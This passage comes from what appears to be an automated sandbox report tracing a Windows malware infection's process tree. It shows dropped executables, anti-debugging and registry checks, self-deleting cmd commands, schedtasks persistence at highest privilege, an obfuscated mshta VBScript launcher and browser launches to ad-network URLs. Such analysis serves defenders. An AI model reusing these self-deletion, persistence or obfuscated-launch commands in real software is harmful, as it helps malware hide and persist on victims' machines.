                                                                                                                                                                                  "C:\Users\Admin\Documents\EII6ojE_T8XvHDppg6GzRkkh.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                  PID:6032
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\EII6ojE_T8XvHDppg6GzRkkh.exe"
                                                                                                                                                                                    7⤵
                                                                                                                                                                                      PID:7708
                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                        timeout /T 10 /NOBREAK
                                                                                                                                                                                        8⤵
                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                        PID:1428
                                                                                                                                                                                  • C:\Users\Admin\Documents\LosqpIVdwGY4vw4Xet3ZZWha.exe
                                                                                                                                                                                    "C:\Users\Admin\Documents\LosqpIVdwGY4vw4Xet3ZZWha.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:5856
                                                                                                                                                                                  • C:\Users\Admin\Documents\GIM_h4lb8TDXG6SK2Do7ufwM.exe
                                                                                                                                                                                    "C:\Users\Admin\Documents\GIM_h4lb8TDXG6SK2Do7ufwM.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                    PID:5280
                                                                                                                                                                                  • C:\Users\Admin\Documents\lewAaFEQKoAtxsIorZI7nAe9.exe
                                                                                                                                                                                    "C:\Users\Admin\Documents\lewAaFEQKoAtxsIorZI7nAe9.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:5308
                                                                                                                                                                                  • C:\Users\Admin\Documents\VYq4BaBciWuUHhsORgKBwehH.exe
                                                                                                                                                                                    "C:\Users\Admin\Documents\VYq4BaBciWuUHhsORgKBwehH.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                    PID:4912
                                                                                                                                                                                    • C:\Users\Admin\Documents\VYq4BaBciWuUHhsORgKBwehH.exe
                                                                                                                                                                                      "C:\Users\Admin\Documents\VYq4BaBciWuUHhsORgKBwehH.exe"
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:2528
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im VYq4BaBciWuUHhsORgKBwehH.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\VYq4BaBciWuUHhsORgKBwehH.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                          8⤵
                                                                                                                                                                                            PID:4900
                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                              taskkill /im VYq4BaBciWuUHhsORgKBwehH.exe /f
                                                                                                                                                                                              9⤵
                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                              PID:3796
                                                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                              timeout /t 6
                                                                                                                                                                                              9⤵
                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                              PID:1168
                                                                                                                                                                                      • C:\Users\Admin\Documents\0FDyZSElt7_3aBewrpbLOr1U.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\0FDyZSElt7_3aBewrpbLOr1U.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:5976
                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5976 -s 240
                                                                                                                                                                                          7⤵
                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                          • Program crash
                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                          PID:5416
                                                                                                                                                                                      • C:\Users\Admin\Documents\zLoSjPf2ZfrqA_TYWEcGoiFh.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\zLoSjPf2ZfrqA_TYWEcGoiFh.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:5944
                                                                                                                                                                                      • C:\Users\Admin\Documents\mWbesZiW7ZZpVbyzRhOPq0KE.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\mWbesZiW7ZZpVbyzRhOPq0KE.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                        PID:5964
                                                                                                                                                                                      • C:\Users\Admin\Documents\xBcZMpcDzg4dSTAs69BTO623.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\xBcZMpcDzg4dSTAs69BTO623.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:5888
                                                                                                                                                                                        • C:\Users\Admin\Documents\0RjlQbqGZnm3Q0nDuqQu_h9u.exe
                                                                                                                                                                                          "C:\Users\Admin\Documents\0RjlQbqGZnm3Q0nDuqQu_h9u.exe"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:6100
                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6100 -s 244
                                                                                                                                                                                            7⤵
                                                                                                                                                                                            • Program crash
                                                                                                                                                                                            PID:3956
                                                                                                                                                                                        • C:\Users\Admin\Documents\G8N6ihg9oaCVUvNViEoVtMu0.exe
                                                                                                                                                                                          "C:\Users\Admin\Documents\G8N6ihg9oaCVUvNViEoVtMu0.exe"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5968
                                                                                                                                                                                          • C:\Users\Admin\Documents\kpzWqK2ea4mB4UvmDDGiQ_7e.exe
                                                                                                                                                                                            "C:\Users\Admin\Documents\kpzWqK2ea4mB4UvmDDGiQ_7e.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                            PID:6336
                                                                                                                                                                                            • C:\Program Files (x86)\Company\NewProduct\inst001.exe
                                                                                                                                                                                              "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:6088
                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                                                                                                "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:5784
                                                                                                                                                                                              • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                                                                                                                                                                "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:5800
                                                                                                                                                                                            • C:\Users\Admin\Documents\y43VAKsse4EkHPjjadC2dxXp.exe
                                                                                                                                                                                              "C:\Users\Admin\Documents\y43VAKsse4EkHPjjadC2dxXp.exe"
                                                                                                                                                                                              6⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                              PID:6328
                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                PID:1712
                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                PID:5888
                                                                                                                                                                                              • C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
                                                                                                                                                                                                "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                  PID:6872
                                                                                                                                                                                                  • C:\Users\Admin\Documents\esCrnORUJegTZxWrbKqD0WIB.exe
                                                                                                                                                                                                    "C:\Users\Admin\Documents\esCrnORUJegTZxWrbKqD0WIB.exe"
                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                      PID:1176
                                                                                                                                                                                                    • C:\Users\Admin\Documents\6b2SZvDYedtbgl1uZk9SdVok.exe
                                                                                                                                                                                                      "C:\Users\Admin\Documents\6b2SZvDYedtbgl1uZk9SdVok.exe"
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:7468
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7468 -s 252
                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                          PID:1396
                                                                                                                                                                                                      • C:\Users\Admin\Documents\MnOiNADlc5aCFN2VTHkc7wY3.exe
                                                                                                                                                                                                        "C:\Users\Admin\Documents\MnOiNADlc5aCFN2VTHkc7wY3.exe"
                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                          PID:7532
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 7532 -s 252
                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                            PID:2624
                                                                                                                                                                                                        • C:\Users\Admin\Documents\HPOHSa_2CBJjurk6Nrwh00UZ.exe
                                                                                                                                                                                                          "C:\Users\Admin\Documents\HPOHSa_2CBJjurk6Nrwh00UZ.exe"
                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                            PID:7508
                                                                                                                                                                                                            • C:\ProgramData\3612794.exe
                                                                                                                                                                                                              "C:\ProgramData\3612794.exe"
                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                PID:1064
                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -u -p 1064 -s 2148
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                  PID:1324
                                                                                                                                                                                                              • C:\ProgramData\490049.exe
                                                                                                                                                                                                                "C:\ProgramData\490049.exe"
                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                  PID:1956
                                                                                                                                                                                                              • C:\Users\Admin\Documents\LqkFtkDyHi6mEO4dqb_KzwQl.exe
                                                                                                                                                                                                                "C:\Users\Admin\Documents\LqkFtkDyHi6mEO4dqb_KzwQl.exe"
                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                  PID:7444
                                                                                                                                                                                                                • C:\Users\Admin\Documents\nSWxRFNMfgiBRtBbvk9uXEE1.exe
                                                                                                                                                                                                                  "C:\Users\Admin\Documents\nSWxRFNMfgiBRtBbvk9uXEE1.exe"
                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                    PID:7676
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\Documents\nSWxRFNMfgiBRtBbvk9uXEE1.exe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF """" =="""" for %q In (""C:\Users\Admin\Documents\nSWxRFNMfgiBRtBbvk9uXEE1.exe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )
                                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                                        PID:7356
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\Documents\nSWxRFNMfgiBRtBbvk9uXEE1.exe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "" =="" for %q In ("C:\Users\Admin\Documents\nSWxRFNMfgiBRtBbvk9uXEE1.exe" ) do taskkill -iM "%~nxq" /f
                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                            PID:4324
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe
                                                                                                                                                                                                                              roBCqJOQYC.eXe -P0_6X2fnCLFU6G
                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                PID:2268
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF ""-P0_6X2fnCLFU6G"" =="""" for %q In (""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )
                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                    PID:8172
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "-P0_6X2fnCLFU6G" =="" for %q In ("C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe" ) do taskkill -iM "%~nxq" /f
                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                        PID:1048
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\rundll32.exe" .\LcGE3.T_v,mPHYMXZs
                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                      PID:5556
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                    taskkill -iM "nSWxRFNMfgiBRtBbvk9uXEE1.exe" /f
                                                                                                                                                                                                                                    11⤵
                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                    PID:4320
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\toYHUp0Z1Gg7u2DU3FYdIajh.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\toYHUp0Z1Gg7u2DU3FYdIajh.exe"
                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                PID:7684
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\J0ANJwclVEI7N7n2YnW92_Ra.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Documents\J0ANJwclVEI7N7n2YnW92_Ra.exe"
                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                  PID:5444
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-3C8B8.tmp\J0ANJwclVEI7N7n2YnW92_Ra.tmp
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-3C8B8.tmp\J0ANJwclVEI7N7n2YnW92_Ra.tmp" /SL5="$10460,506127,422400,C:\Users\Admin\Documents\J0ANJwclVEI7N7n2YnW92_Ra.exe"
                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                    PID:5352
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-3EGRN.tmp\Chmenka.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-3EGRN.tmp\Chmenka.exe" /S /UID=124
                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                        PID:2380
                                                                                                                                                                                                                                        • C:\Program Files\Microsoft Office\NASTWTQCUK\IDownload.exe
                                                                                                                                                                                                                                          "C:\Program Files\Microsoft Office\NASTWTQCUK\IDownload.exe" /VERYSILENT
                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                            PID:7900
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-5T2GJ.tmp\IDownload.tmp
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-5T2GJ.tmp\IDownload.tmp" /SL5="$5016A,994212,425984,C:\Program Files\Microsoft Office\NASTWTQCUK\IDownload.exe" /VERYSILENT
                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                              PID:6924
                                                                                                                                                                                                                                              • C:\Program Files (x86)\IDownload\IDownload.App.exe
                                                                                                                                                                                                                                                "C:\Program Files (x86)\IDownload\IDownload.App.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                • Drops desktop.ini file(s)
                                                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                PID:8168
                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
                                                                                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3-w2mifo.cmdline"
                                                                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                                                                    PID:5576
                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD83.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCD82.tmp"
                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                        PID:4116
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\6e-a06dc-95b-cbbbf-108f288e91e0b\Fetushypoxu.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\6e-a06dc-95b-cbbbf-108f288e91e0b\Fetushypoxu.exe"
                                                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                                                  PID:5356
                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                      PID:7604
                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                          PID:5136
                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                          PID:3332
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                              PID:5780
                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851483
                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                              PID:7288
                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                  PID:7700
                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851513
                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                  PID:4632
                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                      PID:5140
                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=2087215
                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                      PID:7836
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                          PID:2272
                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=4263119
                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                          PID:6160
                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                              PID:2672
                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=1294231
                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                              PID:2512
                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc95f346f8,0x7ffc95f34708,0x7ffc95f34718
                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                  PID:3792
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\27-8346f-3e3-6638b-5379631ec7a06\Xibomaezheri.exe
